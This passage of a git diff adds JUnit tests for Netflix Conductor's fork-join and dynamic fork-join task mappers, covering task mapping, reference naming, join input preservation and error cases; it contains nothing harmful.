.thenReturn(Collections.singletonList(simpleTask1)); + when(deciderService.getTasksToBeScheduled(workflowModel, wt3, 0)) + .thenReturn(Collections.singletonList(simpleTask2)); + + String taskId = idGenerator.generate(); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withTaskInput(Map.of()) + .withWorkflowModel(workflowModel) + .withWorkflowTask(dynamicForkJoinToSchedule) + .withRetryCount(0) + .withTaskId(taskId) + .withDeciderService(deciderService) + .build(); + + // then + expectedException.expect(TerminateWorkflowException.class); + forkJoinDynamicTaskMapper.getMappedTasks(taskMapperContext); + } + + @Test + public void getMappedTasks() { + + WorkflowDef def = new WorkflowDef(); + def.setName("DYNAMIC_FORK_JOIN_WF"); + def.setDescription(def.getName()); + def.setVersion(1); + def.setInputParameters(Arrays.asList("param1", "param2")); + + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowDefinition(def); + + WorkflowTask dynamicForkJoinToSchedule = new WorkflowTask(); + dynamicForkJoinToSchedule.setType(TaskType.FORK_JOIN_DYNAMIC.name()); + dynamicForkJoinToSchedule.setTaskReferenceName("dynamicfanouttask"); + dynamicForkJoinToSchedule.setDynamicForkTasksParam("dynamicTasks"); + dynamicForkJoinToSchedule.setDynamicForkTasksInputParamName("dynamicTasksInput"); + dynamicForkJoinToSchedule + .getInputParameters() + .put("dynamicTasks", "dt1.output.dynamicTasks"); + dynamicForkJoinToSchedule + .getInputParameters() + .put("dynamicTasksInput", "dt1.output.dynamicTasksInput"); + + WorkflowTask join = new WorkflowTask(); + join.setType(TaskType.JOIN.name()); + join.setTaskReferenceName("dynamictask_join"); + + def.getTasks().add(dynamicForkJoinToSchedule); + def.getTasks().add(join); + + Map input1 = new HashMap<>(); + input1.put("k1", "v1"); + WorkflowTask wt2 = new WorkflowTask(); + wt2.setName("junit_task_2"); + wt2.setTaskReferenceName("xdt1"); + + Map input2 = new HashMap<>(); + input2.put("k2", "v2"); + + WorkflowTask wt3 = new WorkflowTask(); + wt3.setName("junit_task_3"); + wt3.setTaskReferenceName("xdt2"); + + HashMap dynamicTasksInput = new HashMap<>(); + dynamicTasksInput.put("xdt1", input1); + dynamicTasksInput.put("xdt2", input2); + dynamicTasksInput.put("dynamicTasks", Arrays.asList(wt2, wt3)); + dynamicTasksInput.put("dynamicTasksInput", dynamicTasksInput); + + // when + when(parametersUtils.getTaskInput(anyMap(), any(WorkflowModel.class), any(), any())) + .thenReturn(dynamicTasksInput); + when(objectMapper.convertValue(any(), any(TypeReference.class))) + .thenReturn(Arrays.asList(wt2, wt3)); + + TaskModel simpleTask1 = new TaskModel(); + simpleTask1.setReferenceTaskName("xdt1"); + + TaskModel simpleTask2 = new TaskModel(); + simpleTask2.setReferenceTaskName("xdt2"); + + when(deciderService.getTasksToBeScheduled(workflowModel, wt2, 0)) + .thenReturn(Collections.singletonList(simpleTask1)); + when(deciderService.getTasksToBeScheduled(workflowModel, wt3, 0)) + .thenReturn(Collections.singletonList(simpleTask2)); + + String taskId = idGenerator.generate(); + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflowModel) + .withWorkflowTask(dynamicForkJoinToSchedule) + .withRetryCount(0) + .withTaskInput(Map.of()) + .withTaskId(taskId) + .withDeciderService(deciderService) + .build(); + + // then + List mappedTasks = forkJoinDynamicTaskMapper.getMappedTasks(taskMapperContext); + + assertEquals(4, mappedTasks.size()); + + assertEquals(TASK_TYPE_FORK, mappedTasks.get(0).getTaskType()); + assertEquals(TASK_TYPE_JOIN, mappedTasks.get(3).getTaskType()); + List joinTaskNames = (List) mappedTasks.get(3).getInputData().get("joinOn"); + assertEquals("xdt1, xdt2", String.join(", ", joinTaskNames)); + } + + @Test + public void getDynamicForkJoinTasksAndInput() { + // Given + WorkflowTask dynamicForkJoinToSchedule = new WorkflowTask(); + dynamicForkJoinToSchedule.setType(TaskType.FORK_JOIN_DYNAMIC.name()); + dynamicForkJoinToSchedule.setTaskReferenceName("dynamicfanouttask"); + dynamicForkJoinToSchedule.setDynamicForkJoinTasksParam("dynamicTasks"); + dynamicForkJoinToSchedule + .getInputParameters() + .put("dynamicTasks", "dt1.output.dynamicTasks"); + dynamicForkJoinToSchedule + .getInputParameters() + .put("dynamicTasksInput", "dt1.output.dynamicTasksInput"); + + DynamicForkJoinTaskList dtasks = new DynamicForkJoinTaskList(); + + Map input = new HashMap<>(); + input.put("k1", "v1"); + dtasks.add("junit_task_2", null, "xdt1", input); + + HashMap input2 = new HashMap<>(); + input2.put("k2", "v2"); + dtasks.add("junit_task_3", null, "xdt2", input2); + + Map dynamicTasksInput = new HashMap<>(); + dynamicTasksInput.put("dynamicTasks", dtasks); + + // when + when(parametersUtils.getTaskInput( + anyMap(), any(WorkflowModel.class), any(TaskDef.class), anyString())) + .thenReturn(dynamicTasksInput); + + when(objectMapper.convertValue(any(), any(Class.class))).thenReturn(dtasks); + + Pair, Map>> dynamicForkJoinTasksAndInput = + forkJoinDynamicTaskMapper.getDynamicForkJoinTasksAndInput( + dynamicForkJoinToSchedule, new WorkflowModel(), Map.of()); + // then + assertNotNull(dynamicForkJoinTasksAndInput.getLeft()); + assertEquals(2, dynamicForkJoinTasksAndInput.getLeft().size()); + assertEquals(2, dynamicForkJoinTasksAndInput.getRight().size()); + } + + @Test + public void getDynamicForkJoinTasksAndInputException() { + // Given + WorkflowTask dynamicForkJoinToSchedule = new WorkflowTask(); + dynamicForkJoinToSchedule.setType(TaskType.FORK_JOIN_DYNAMIC.name()); + dynamicForkJoinToSchedule.setTaskReferenceName("dynamicfanouttask"); + dynamicForkJoinToSchedule.setDynamicForkJoinTasksParam("dynamicTasks"); + dynamicForkJoinToSchedule + .getInputParameters() + .put("dynamicTasks", "dt1.output.dynamicTasks"); + dynamicForkJoinToSchedule + .getInputParameters() + .put("dynamicTasksInput", "dt1.output.dynamicTasksInput"); + + DynamicForkJoinTaskList dtasks = new DynamicForkJoinTaskList(); + + Map input = new HashMap<>(); + input.put("k1", "v1"); + dtasks.add("junit_task_2", null, "xdt1", input); + + HashMap input2 = new HashMap<>(); + input2.put("k2", "v2"); + dtasks.add("junit_task_3", null, "xdt2", input2); + + Map dynamicTasksInput = new HashMap<>(); + dynamicTasksInput.put("dynamicTasks", dtasks); + + // when + when(parametersUtils.getTaskInput( + anyMap(), any(WorkflowModel.class), any(TaskDef.class), anyString())) + .thenReturn(dynamicTasksInput); + + when(objectMapper.convertValue(any(), any(Class.class))).thenReturn(null); + + // then + expectedException.expect(TerminateWorkflowException.class); + + forkJoinDynamicTaskMapper.getDynamicForkJoinTasksAndInput( + dynamicForkJoinToSchedule, new WorkflowModel(), Map.of()); + } + + @Test + public void getDynamicForkTasksAndInput() { + // Given + WorkflowTask dynamicForkJoinToSchedule = new WorkflowTask(); + dynamicForkJoinToSchedule.setType(TaskType.FORK_JOIN_DYNAMIC.name()); + dynamicForkJoinToSchedule.setTaskReferenceName("dynamicfanouttask"); + dynamicForkJoinToSchedule.setDynamicForkTasksParam("dynamicTasks"); + dynamicForkJoinToSchedule.setDynamicForkTasksInputParamName("dynamicTasksInput"); + dynamicForkJoinToSchedule + .getInputParameters() + .put("dynamicTasks", "dt1.output.dynamicTasks"); + dynamicForkJoinToSchedule + .getInputParameters() + .put("dynamicTasksInput", "dt1.output.dynamicTasksInput"); + + Map input1 = new HashMap<>(); + input1.put("k1", "v1"); + WorkflowTask wt2 = new WorkflowTask(); + wt2.setName("junit_task_2"); + wt2.setTaskReferenceName("xdt1"); + + Map input2 = new HashMap<>(); + input2.put("k2", "v2"); + + WorkflowTask wt3 = new WorkflowTask(); + wt3.setName("junit_task_3"); + wt3.setTaskReferenceName("xdt2"); + + Map dynamicTasksInput = new HashMap<>(); + dynamicTasksInput.put("xdt1", input1); + dynamicTasksInput.put("xdt2", input2); + dynamicTasksInput.put("dynamicTasks", Arrays.asList(wt2, wt3)); + dynamicTasksInput.put("dynamicTasksInput", dynamicTasksInput); + + // when + when(parametersUtils.getTaskInput(anyMap(), any(WorkflowModel.class), any(), any())) + .thenReturn(dynamicTasksInput); + + when(objectMapper.convertValue(any(), any(TypeReference.class))) + .thenReturn(Arrays.asList(wt2, wt3)); + + Pair, Map>> dynamicTasks = + forkJoinDynamicTaskMapper.getDynamicForkTasksAndInput( + dynamicForkJoinToSchedule, + new WorkflowModel(), + "dynamicTasks", + dynamicTasksInput); + + // then + assertNotNull(dynamicTasks.getLeft()); + } + + @Test + public void getDynamicForkTasksAndInputException() { + + // Given + WorkflowTask dynamicForkJoinToSchedule = new WorkflowTask(); + dynamicForkJoinToSchedule.setType(TaskType.FORK_JOIN_DYNAMIC.name()); + dynamicForkJoinToSchedule.setTaskReferenceName("dynamicfanouttask"); + dynamicForkJoinToSchedule.setDynamicForkTasksParam("dynamicTasks"); + dynamicForkJoinToSchedule.setDynamicForkTasksInputParamName("dynamicTasksInput"); + dynamicForkJoinToSchedule + .getInputParameters() + .put("dynamicTasks", "dt1.output.dynamicTasks"); + dynamicForkJoinToSchedule + .getInputParameters() + .put("dynamicTasksInput", "dt1.output.dynamicTasksInput"); + + Map input1 = new HashMap<>(); + input1.put("k1", "v1"); + WorkflowTask wt2 = new WorkflowTask(); + wt2.setName("junit_task_2"); + wt2.setTaskReferenceName("xdt1"); + + Map input2 = new HashMap<>(); + input2.put("k2", "v2"); + + WorkflowTask wt3 = new WorkflowTask(); + wt3.setName("junit_task_3"); + wt3.setTaskReferenceName("xdt2"); + + HashMap dynamicTasksInput = new HashMap<>(); + dynamicTasksInput.put("xdt1", input1); + dynamicTasksInput.put("xdt2", input2); + dynamicTasksInput.put("dynamicTasks", Arrays.asList(wt2, wt3)); + dynamicTasksInput.put("dynamicTasksInput", null); + + when(parametersUtils.getTaskInput(anyMap(), any(WorkflowModel.class), any(), any())) + .thenReturn(dynamicTasksInput); + + when(objectMapper.convertValue(any(), any(TypeReference.class))) + .thenReturn(Arrays.asList(wt2, wt3)); + // then + expectedException.expect(TerminateWorkflowException.class); + // when + forkJoinDynamicTaskMapper.getDynamicForkTasksAndInput( + dynamicForkJoinToSchedule, new WorkflowModel(), "dynamicTasks", Map.of()); + } + + @Test + public void testDynamicTaskDuplicateTaskRefName() { + WorkflowDef def = new WorkflowDef(); + def.setName("DYNAMIC_FORK_JOIN_WF"); + def.setDescription(def.getName()); + def.setVersion(1); + def.setInputParameters(Arrays.asList("param1", "param2")); + + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowDefinition(def); + + WorkflowTask dynamicForkJoinToSchedule = new WorkflowTask(); + dynamicForkJoinToSchedule.setType(TaskType.FORK_JOIN_DYNAMIC.name()); + dynamicForkJoinToSchedule.setTaskReferenceName("dynamicfanouttask"); + dynamicForkJoinToSchedule.setDynamicForkTasksParam("dynamicTasks"); + dynamicForkJoinToSchedule.setDynamicForkTasksInputParamName("dynamicTasksInput"); + dynamicForkJoinToSchedule + .getInputParameters() + .put("dynamicTasks", "dt1.output.dynamicTasks"); + dynamicForkJoinToSchedule + .getInputParameters() + .put("dynamicTasksInput", "dt1.output.dynamicTasksInput"); + + WorkflowTask join = new WorkflowTask(); + join.setType(TaskType.JOIN.name()); + join.setTaskReferenceName("dynamictask_join"); + + def.getTasks().add(dynamicForkJoinToSchedule); + def.getTasks().add(join); + + Map input1 = new HashMap<>(); + input1.put("k1", "v1"); + WorkflowTask wt2 = new WorkflowTask(); + wt2.setName("junit_task_2"); + wt2.setTaskReferenceName("xdt1"); + + Map input2 = new HashMap<>(); + input2.put("k2", "v2"); + + WorkflowTask wt3 = new WorkflowTask(); + wt3.setName("junit_task_3"); + wt3.setTaskReferenceName("xdt2"); + + HashMap dynamicTasksInput = new HashMap<>(); + dynamicTasksInput.put("xdt1", input1); + dynamicTasksInput.put("xdt2", input2); + dynamicTasksInput.put("dynamicTasks", Arrays.asList(wt2, wt3)); + dynamicTasksInput.put("dynamicTasksInput", dynamicTasksInput); + + // dynamic + when(parametersUtils.getTaskInput(anyMap(), any(WorkflowModel.class), any(), any())) + .thenReturn(dynamicTasksInput); + when(objectMapper.convertValue(any(), any(TypeReference.class))) + .thenReturn(Arrays.asList(wt2, wt3)); + + TaskModel simpleTask1 = new TaskModel(); + simpleTask1.setReferenceTaskName("xdt1"); + + // Empty list, this is a bad state, workflow should terminate + when(deciderService.getTasksToBeScheduled(workflowModel, wt2, 0)) + .thenReturn(new ArrayList<>()); + + String taskId = idGenerator.generate(); + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withTaskInput(Map.of()) + .withWorkflowModel(workflowModel) + .withWorkflowTask(dynamicForkJoinToSchedule) + .withRetryCount(0) + .withTaskId(taskId) + .withDeciderService(deciderService) + .build(); + + expectedException.expect(TerminateWorkflowException.class); + forkJoinDynamicTaskMapper.getMappedTasks(taskMapperContext); + } + + @Test + public void dynamicForkInputsRemainUnwrappedWhenMapsProvided() { + ObjectMapper realObjectMapper = new ObjectMapperProvider().getObjectMapper(); + ForkJoinDynamicTaskMapper mapper = + new ForkJoinDynamicTaskMapper( + idGenerator, + parametersUtils, + realObjectMapper, + metadataDAO, + systemTaskRegistry); + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskReferenceName("fork_join_dynamic"); + workflowTask.setType(TaskType.FORK_JOIN_DYNAMIC.name()); + + Map forkInput1 = new HashMap<>(); + forkInput1.put("param1", "value1"); + Map forkInput2 = new HashMap<>(); + forkInput2.put("param1", "value2"); + + Map mapperInput = new HashMap<>(); + mapperInput.put("forkTaskWorkflow", "sub_workflow_definition_name"); + mapperInput.put("forkTaskWorkflowVersion", "1"); + mapperInput.put("forkTaskInputs", Arrays.asList(forkInput1, forkInput2)); + + Pair, Map>> result = + mapper.getDynamicTasksSimple( + workflowTask, mapperInput, workflowTask.getTaskReferenceName(), false); + + assertNotNull(result); + result.getLeft() + .forEach(task -> assertFalse(task.getInputParameters().containsKey("input"))); + result.getRight().values().forEach(input -> assertFalse(input.containsKey("input"))); + WorkflowTask firstTask = result.getLeft().get(0); + WorkflowTask secondTask = result.getLeft().get(1); + assertEquals("value1", firstTask.getInputParameters().get("param1")); + assertEquals("value2", secondTask.getInputParameters().get("param1")); + assertEquals( + "value1", result.getRight().get(firstTask.getTaskReferenceName()).get("param1")); + assertEquals( + "value2", result.getRight().get(secondTask.getTaskReferenceName()).get("param1")); + } + + @Test + public void testDynamicForkJoinTaskDuplicateTaskRefName() { + WorkflowDef def = new WorkflowDef(); + def.setName("DYNAMIC_FORK_JOIN_WF"); + def.setDescription(def.getName()); + def.setVersion(1); + def.setInputParameters(Arrays.asList("param1", "param2")); + + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowDefinition(def); + + WorkflowTask dynamicForkJoinToSchedule = new WorkflowTask(); + dynamicForkJoinToSchedule.setType(TaskType.FORK_JOIN_DYNAMIC.name()); + dynamicForkJoinToSchedule.setTaskReferenceName("dynamicfanouttask"); + dynamicForkJoinToSchedule.setDynamicForkTasksParam("dynamicTasks"); + dynamicForkJoinToSchedule.setDynamicForkTasksInputParamName("dynamicTasksInput"); + dynamicForkJoinToSchedule + .getInputParameters() + .put("dynamicTasks", "dt1.output.dynamicTasks"); + dynamicForkJoinToSchedule + .getInputParameters() + .put("dynamicTasksInput", "dt1.output.dynamicTasksInput"); + + WorkflowTask join = new WorkflowTask(); + join.setType(TaskType.JOIN.name()); + join.setTaskReferenceName("dynamictask_join"); + + def.getTasks().add(dynamicForkJoinToSchedule); + def.getTasks().add(join); + + Map input1 = new HashMap<>(); + input1.put("k1", "v1"); + WorkflowTask wt2 = new WorkflowTask(); + wt2.setName("junit_task_2"); + wt2.setTaskReferenceName("xdt1"); + + Map input2 = new HashMap<>(); + input2.put("k2", "v2"); + + WorkflowTask wt3 = new WorkflowTask(); + wt3.setName("junit_task_3"); + wt3.setTaskReferenceName("xdt2"); + + HashMap dynamicTasksInput = new HashMap<>(); + dynamicTasksInput.put("xdt1", input1); + dynamicTasksInput.put("xdt2", input2); + dynamicTasksInput.put("dynamicTasks", Arrays.asList(wt2, wt3)); + dynamicTasksInput.put("dynamicTasksInput", dynamicTasksInput); + + // dynamic + when(parametersUtils.getTaskInput(anyMap(), any(WorkflowModel.class), any(), any())) + .thenReturn(dynamicTasksInput); + when(objectMapper.convertValue(any(), any(TypeReference.class))) + .thenReturn(Arrays.asList(wt2, wt3)); + + TaskModel simpleTask1 = new TaskModel(); + simpleTask1.setReferenceTaskName("xdt1"); + + // Empty list, this is a bad state, workflow should terminate + when(deciderService.getTasksToBeScheduled(workflowModel, wt2, 0)) + .thenReturn(new ArrayList<>()); + + String taskId = idGenerator.generate(); + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflowModel) + .withWorkflowTask(dynamicForkJoinToSchedule) + .withRetryCount(0) + .withTaskId(taskId) + .withTaskInput(dynamicTasksInput) + .withDeciderService(deciderService) + .build(); + + expectedException.expect(TerminateWorkflowException.class); + expectedException.expectMessage("No dynamic tasks could be created"); + forkJoinDynamicTaskMapper.getMappedTasks(taskMapperContext); + } + + @Test + public void testNestedDynamicForkTaskReferenceNaming() { + // Test that task reference names include parent task name when hasMoreThanOneFork=true + ObjectMapper realObjectMapper = new ObjectMapperProvider().getObjectMapper(); + ForkJoinDynamicTaskMapper mapper = + new ForkJoinDynamicTaskMapper( + idGenerator, + parametersUtils, + realObjectMapper, + metadataDAO, + systemTaskRegistry); + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskReferenceName("parent_fork"); + + Map forkInput1 = new HashMap<>(); + forkInput1.put("param1", "value1"); + Map forkInput2 = new HashMap<>(); + forkInput2.put("param2", "value2"); + + Map input = new HashMap<>(); + input.put("forkTaskName", "my_task"); + input.put("forkTaskInputs", Arrays.asList(forkInput1, forkInput2)); + + // Call getDynamicTasksSimple with hasMoreThanOneFork=true + Pair, Map>> result = + mapper.getDynamicTasksSimple(workflowTask, input, "parent_fork", true); + + assertNotNull(result); + List tasks = result.getLeft(); + assertEquals(2, tasks.size()); + + // Verify that task reference names include parent task name + assertEquals("_parent_fork_my_task_0", tasks.get(0).getTaskReferenceName()); + assertEquals("_parent_fork_my_task_1", tasks.get(1).getTaskReferenceName()); + } + + @Test + public void testSimpleDynamicForkTaskReferenceNaming() { + // Test that task reference names are simple when hasMoreThanOneFork=false + ObjectMapper realObjectMapper = new ObjectMapperProvider().getObjectMapper(); + ForkJoinDynamicTaskMapper mapper = + new ForkJoinDynamicTaskMapper( + idGenerator, + parametersUtils, + realObjectMapper, + metadataDAO, + systemTaskRegistry); + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskReferenceName("simple_fork"); + + Map forkInput1 = new HashMap<>(); + forkInput1.put("param1", "value1"); + + Map input = new HashMap<>(); + input.put("forkTaskName", "my_task"); + input.put("forkTaskInputs", Collections.singletonList(forkInput1)); + + // Call getDynamicTasksSimple with hasMoreThanOneFork=false + Pair, Map>> result = + mapper.getDynamicTasksSimple(workflowTask, input, "simple_fork", false); + + assertNotNull(result); + List tasks = result.getLeft(); + assertEquals(1, tasks.size()); + + // Verify that task reference name is simple (without parent name) + assertEquals("_my_task_0", tasks.get(0).getTaskReferenceName()); + } + + @Test + public void testJoinInputPreservation() { + // Test that existing join input parameters are preserved + WorkflowDef def = new WorkflowDef(); + def.setName("DYNAMIC_FORK_JOIN_WF"); + def.setVersion(1); + + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowDefinition(def); + + WorkflowTask dynamicForkJoinToSchedule = new WorkflowTask(); + dynamicForkJoinToSchedule.setType(TaskType.FORK_JOIN_DYNAMIC.name()); + dynamicForkJoinToSchedule.setTaskReferenceName("dynamicfork"); + dynamicForkJoinToSchedule.setDynamicForkTasksParam("dynamicTasks"); + dynamicForkJoinToSchedule.setDynamicForkTasksInputParamName("dynamicTasksInput"); + + WorkflowTask join = new WorkflowTask(); + join.setType(TaskType.JOIN.name()); + join.setTaskReferenceName("dynamictask_join"); + // Add existing input parameters to join task + join.getInputParameters().put("existingParam1", "value1"); + join.getInputParameters().put("existingParam2", "value2"); + + def.getTasks().add(dynamicForkJoinToSchedule); + def.getTasks().add(join); + + Map input1 = new HashMap<>(); + input1.put("k1", "v1"); + WorkflowTask wt1 = new WorkflowTask(); + wt1.setName("junit_task_1"); + wt1.setTaskReferenceName("task1"); + + HashMap dynamicTasksInput = new HashMap<>(); + dynamicTasksInput.put("task1", input1); + dynamicTasksInput.put("dynamicTasks", Collections.singletonList(wt1)); + dynamicTasksInput.put("dynamicTasksInput", dynamicTasksInput); + + when(parametersUtils.getTaskInput(anyMap(), any(WorkflowModel.class), any(), any())) + .thenReturn(dynamicTasksInput); + when(objectMapper.convertValue(any(), any(TypeReference.class))) + .thenReturn(Collections.singletonList(wt1)); + + TaskModel simpleTask1 = new TaskModel(); + simpleTask1.setReferenceTaskName("task1"); + + when(deciderService.getTasksToBeScheduled(workflowModel, wt1, 0)) + .thenReturn(Collections.singletonList(simpleTask1)); + + String taskId = idGenerator.generate(); + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflowModel) + .withWorkflowTask(dynamicForkJoinToSchedule) + .withRetryCount(0) + .withTaskInput(Map.of()) + .withTaskId(taskId) + .withDeciderService(deciderService) + .build(); + + List mappedTasks = forkJoinDynamicTaskMapper.getMappedTasks(taskMapperContext); + + assertEquals(3, mappedTasks.size()); + TaskModel joinTask = mappedTasks.get(2); + assertEquals(TASK_TYPE_JOIN, joinTask.getTaskType()); + + // Verify that existing join input parameters are preserved + assertEquals("value1", joinTask.getInputData().get("existingParam1")); + assertEquals("value2", joinTask.getInputData().get("existingParam2")); + assertNotNull(joinTask.getInputData().get("joinOn")); + } + + @Test + public void testForkTaskExecutedFlag() { + // Test that the fork task has the executed flag set to true + WorkflowDef def = new WorkflowDef(); + def.setName("DYNAMIC_FORK_JOIN_WF"); + def.setVersion(1); + + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowDefinition(def); + + WorkflowTask dynamicForkJoinToSchedule = new WorkflowTask(); + dynamicForkJoinToSchedule.setType(TaskType.FORK_JOIN_DYNAMIC.name()); + dynamicForkJoinToSchedule.setTaskReferenceName("dynamicfork"); + dynamicForkJoinToSchedule.setDynamicForkTasksParam("dynamicTasks"); + dynamicForkJoinToSchedule.setDynamicForkTasksInputParamName("dynamicTasksInput"); + + WorkflowTask join = new WorkflowTask(); + join.setType(TaskType.JOIN.name()); + join.setTaskReferenceName("dynamictask_join"); + + def.getTasks().add(dynamicForkJoinToSchedule); + def.getTasks().add(join); + + Map input1 = new HashMap<>(); + input1.put("k1", "v1"); + WorkflowTask wt1 = new WorkflowTask(); + wt1.setName("junit_task_1"); + wt1.setTaskReferenceName("task1"); + + HashMap dynamicTasksInput = new HashMap<>(); + dynamicTasksInput.put("task1", input1); + dynamicTasksInput.put("dynamicTasks", Collections.singletonList(wt1)); + dynamicTasksInput.put("dynamicTasksInput", dynamicTasksInput); + + when(parametersUtils.getTaskInput(anyMap(), any(WorkflowModel.class), any(), any())) + .thenReturn(dynamicTasksInput); + when(objectMapper.convertValue(any(), any(TypeReference.class))) + .thenReturn(Collections.singletonList(wt1)); + + TaskModel simpleTask1 = new TaskModel(); + simpleTask1.setReferenceTaskName("task1"); + + when(deciderService.getTasksToBeScheduled(workflowModel, wt1, 0)) + .thenReturn(Collections.singletonList(simpleTask1)); + + String taskId = idGenerator.generate(); + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflowModel) + .withWorkflowTask(dynamicForkJoinToSchedule) + .withRetryCount(0) + .withTaskInput(Map.of()) + .withTaskId(taskId) + .withDeciderService(deciderService) + .build(); + + List mappedTasks = forkJoinDynamicTaskMapper.getMappedTasks(taskMapperContext); + + assertEquals(3, mappedTasks.size()); + TaskModel forkTask = mappedTasks.get(0); + assertEquals(TASK_TYPE_FORK, forkTask.getTaskType()); + + // Verify that the fork task has the executed flag set to true + assertEquals("Fork task should be marked as executed", true, forkTask.isExecuted()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/mapper/ForkJoinTaskMapperTest.java b/core/src/test/java/com/netflix/conductor/core/execution/mapper/ForkJoinTaskMapperTest.java new file mode 100644 index 0000000..e3d2c2f --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/mapper/ForkJoinTaskMapperTest.java @@ -0,0 +1,216 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.Arrays; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; +import org.mockito.Mockito; + +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.execution.DeciderService; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_FORK; + +import static org.junit.Assert.assertEquals; + +public class ForkJoinTaskMapperTest { + + private DeciderService deciderService; + private ForkJoinTaskMapper forkJoinTaskMapper; + private IDGenerator idGenerator; + + @Rule public ExpectedException expectedException = ExpectedException.none(); + + @Before + public void setUp() { + deciderService = Mockito.mock(DeciderService.class); + forkJoinTaskMapper = new ForkJoinTaskMapper(); + idGenerator = new IDGenerator(); + } + + @Test + public void getMappedTasks() { + + WorkflowDef def = new WorkflowDef(); + def.setName("FORK_JOIN_WF"); + def.setDescription(def.getName()); + def.setVersion(1); + def.setInputParameters(Arrays.asList("param1", "param2")); + + WorkflowTask forkTask = new WorkflowTask(); + forkTask.setType(TaskType.FORK_JOIN.name()); + forkTask.setTaskReferenceName("forktask"); + + WorkflowTask wft1 = new WorkflowTask(); + wft1.setName("junit_task_1"); + Map ip1 = new HashMap<>(); + ip1.put("p1", "workflow.input.param1"); + ip1.put("p2", "workflow.input.param2"); + wft1.setInputParameters(ip1); + wft1.setTaskReferenceName("t1"); + + WorkflowTask wft3 = new WorkflowTask(); + wft3.setName("junit_task_3"); + wft3.setInputParameters(ip1); + wft3.setTaskReferenceName("t3"); + + WorkflowTask wft2 = new WorkflowTask(); + wft2.setName("junit_task_2"); + Map ip2 = new HashMap<>(); + ip2.put("tp1", "workflow.input.param1"); + wft2.setInputParameters(ip2); + wft2.setTaskReferenceName("t2"); + + WorkflowTask wft4 = new WorkflowTask(); + wft4.setName("junit_task_4"); + wft4.setInputParameters(ip2); + wft4.setTaskReferenceName("t4"); + + forkTask.getForkTasks().add(Arrays.asList(wft1, wft3)); + forkTask.getForkTasks().add(Collections.singletonList(wft2)); + + def.getTasks().add(forkTask); + + WorkflowTask join = new WorkflowTask(); + join.setType(TaskType.JOIN.name()); + join.setTaskReferenceName("forktask_join"); + join.setJoinOn(Arrays.asList("t3", "t2")); + + def.getTasks().add(join); + def.getTasks().add(wft4); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(def); + + TaskModel task1 = new TaskModel(); + task1.setReferenceTaskName(wft1.getTaskReferenceName()); + + TaskModel task3 = new TaskModel(); + task3.setReferenceTaskName(wft3.getTaskReferenceName()); + + Mockito.when(deciderService.getTasksToBeScheduled(workflow, wft1, 0)) + .thenReturn(Collections.singletonList(task1)); + Mockito.when(deciderService.getTasksToBeScheduled(workflow, wft2, 0)) + .thenReturn(Collections.singletonList(task3)); + + String taskId = idGenerator.generate(); + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withWorkflowTask(forkTask) + .withRetryCount(0) + .withTaskId(taskId) + .withDeciderService(deciderService) + .build(); + + List mappedTasks = forkJoinTaskMapper.getMappedTasks(taskMapperContext); + + assertEquals(3, mappedTasks.size()); + assertEquals(TASK_TYPE_FORK, mappedTasks.get(0).getTaskType()); + } + + @Test + public void getMappedTasksException() { + + WorkflowDef def = new WorkflowDef(); + def.setName("FORK_JOIN_WF"); + def.setDescription(def.getName()); + def.setVersion(1); + def.setInputParameters(Arrays.asList("param1", "param2")); + + WorkflowTask forkTask = new WorkflowTask(); + forkTask.setType(TaskType.FORK_JOIN.name()); + forkTask.setTaskReferenceName("forktask"); + + WorkflowTask wft1 = new WorkflowTask(); + wft1.setName("junit_task_1"); + Map ip1 = new HashMap<>(); + ip1.put("p1", "workflow.input.param1"); + ip1.put("p2", "workflow.input.param2"); + wft1.setInputParameters(ip1); + wft1.setTaskReferenceName("t1"); + + WorkflowTask wft3 = new WorkflowTask(); + wft3.setName("junit_task_3"); + wft3.setInputParameters(ip1); + wft3.setTaskReferenceName("t3"); + + WorkflowTask wft2 = new WorkflowTask(); + wft2.setName("junit_task_2"); + Map ip2 = new HashMap<>(); + ip2.put("tp1", "workflow.input.param1"); + wft2.setInputParameters(ip2); + wft2.setTaskReferenceName("t2"); + + WorkflowTask wft4 = new WorkflowTask(); + wft4.setName("junit_task_4"); + wft4.setInputParameters(ip2); + wft4.setTaskReferenceName("t4"); + + forkTask.getForkTasks().add(Arrays.asList(wft1, wft3)); + 